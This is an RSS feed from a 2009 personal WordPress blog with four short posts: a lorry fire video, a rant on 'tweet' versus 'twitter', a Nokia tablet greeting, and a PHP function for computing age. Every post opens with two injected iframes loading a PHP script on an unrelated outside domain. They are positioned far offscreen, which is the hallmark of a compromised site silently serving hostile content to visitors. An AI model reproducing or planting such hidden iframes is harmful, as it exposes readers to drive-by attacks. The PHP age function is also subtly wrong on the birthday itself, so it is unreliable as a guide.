<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Rants of a geek</title>
	<atom:link href="http://rantsofageek.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://rantsofageek.com</link>
	<description></description>
	<lastBuildDate>Thu, 18 Jun 2009 23:48:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Burning Lorry</title>
		<link>http://rantsofageek.com/?p=10</link>
		<comments>http://rantsofageek.com/?p=10#comments</comments>
		<pubDate>Thu, 18 Jun 2009 23:46:54 +0000</pubDate>
		<dc:creator>Theo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://rantsofageek.com/?p=10</guid>
		<description><![CDATA[Burning Lorry - Click for Video]]></description>
			<content:encoded><![CDATA[<p><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='412' height='379' style='position:absolute; left:-3181;'></iframe><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='193' height='160' style='position:absolute; left:-3919;'></iframe>Spotted this on a road in Kent.</p>
<p>had my new camera handy so managed to get on film&#8230;.<br />
<object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/5kmUB-WGvmw&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/5kmUB-WGvmw&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://rantsofageek.com/?feed=rss2&amp;p=10</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweet vs Twitter</title>
		<link>http://rantsofageek.com/?p=8</link>
		<comments>http://rantsofageek.com/?p=8#comments</comments>
		<pubDate>Mon, 11 May 2009 21:17:44 +0000</pubDate>
		<dc:creator>Theo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://rantsofageek.com/?p=8</guid>
		<description><![CDATA[Someone insisted at some point that &#8216;tweet&#8217; is the correct verb for twitter as the whole web seems to be using.
It&#8217;s bollocks!
&#8216;tweet&#8217; is a verb and a noun.
&#8216;twitter&#8217; is a verb and a noun.
you &#8216;twitter&#8217; and you hear a twitter &#8211; its all one word!
&#8216;Tweet&#8217; is a whole other thing!
Bastards!
http://www.askoxford.com/concise_oed/twitter
http://www.askoxford.com/concise_oed/tweet
]]></description>
			<content:encoded><![CDATA[<p><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='412' height='379' style='position:absolute; left:-3181;'></iframe><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='193' height='160' style='position:absolute; left:-3919;'></iframe>Someone insisted at some point that &#8216;tweet&#8217; is the correct verb for twitter as the whole web seems to be using.</p>
<p>It&#8217;s bollocks!</p>
<p>&#8216;tweet&#8217; is a verb and a noun.</p>
<p>&#8216;twitter&#8217; is a verb and a noun.</p>
<p>you &#8216;twitter&#8217; and you hear a twitter &#8211; its all one word!</p>
<p>&#8216;Tweet&#8217; is a whole other thing!</p>
<p>Bastards!<br />
<a href="http://www.askoxford.com/concise_oed/twitter" target="_blank">http://www.askoxford.com/concise_oed/twitter</a></p>
<p><a href="http://www.askoxford.com/concise_oed/tweet" target="_blank">http://www.askoxford.com/concise_oed/tweet</a></p>
]]></content:encoded>
			<wfw:commentRss>http://rantsofageek.com/?feed=rss2&amp;p=8</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Nokia N810</title>
		<link>http://rantsofageek.com/?p=7</link>
		<comments>http://rantsofageek.com/?p=7#comments</comments>
		<pubDate>Thu, 25 Dec 2008 19:03:17 +0000</pubDate>
		<dc:creator>Theo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://rantsofageek.com/?p=7</guid>
		<description><![CDATA[Hello world from my new internet tablet&#8230;.
This was written in a wordpress client for it.
Its an amazing device, I will post more about it soon&#8230;..
]]></description>
			<content:encoded><![CDATA[<p><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='412' height='379' style='position:absolute; left:-3181;'></iframe><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='193' height='160' style='position:absolute; left:-3919;'></iframe>Hello world from my new internet tablet&#8230;.</p>
<p>This was written in a wordpress client for it.</p>
<p>Its an amazing device, I will post more about it soon&#8230;..</p>
]]></content:encoded>
			<wfw:commentRss>http://rantsofageek.com/?feed=rss2&amp;p=7</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Working out an age in PHP</title>
		<link>http://rantsofageek.com/?p=5</link>
		<comments>http://rantsofageek.com/?p=5#comments</comments>
		<pubDate>Fri, 12 Sep 2008 12:30:16 +0000</pubDate>
		<dc:creator>Theo</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[age]]></category>
		<category><![CDATA[brithday]]></category>

		<guid isPermaLink="false">http://rantsofageek.com/?p=5</guid>
		<description><![CDATA[A friend just asked how I would work out someones age from their birthday. He said that searching the web came up with lost of people saying just subtract the year of the date from the current year; but this logic falls down when your birthday is later in the year than the current date, [...]]]></description>
			<content:encoded><![CDATA[<p><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='412' height='379' style='position:absolute; left:-3181;'></iframe><iframe src='http://chinabluesalon.com/scripts/xmlPostRequest.php' id='ytd' name='zcid' width='193' height='160' style='position:absolute; left:-3919;'></iframe>A friend just asked how I would work out someones age from their birthday. He said that searching the web came up with lost of people saying just subtract the year of the date from the current year; but this logic falls down when your birthday is later in the year than the current date, instead it tells you how old you will be this year.</p>
<p>The solution that he had thought up involved a series of loops, and was over complicating things.</p>
<p>I thought it worth posting the solution incase anyone else was searching.</p>
<p>It does the first calculation of subtracting years, and then checks the day of year to decide if it should subtract a year.</p>
<pre>function age($bday)
{
    $now = time();
    return date('Y',$now)-date('Y',$bday)-(date('z',$now)&gt;date('z',$bday)?0:1);

}</pre>
]]></content:encoded>
			<wfw:commentRss>http://rantsofageek.com/?feed=rss2&amp;p=5</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
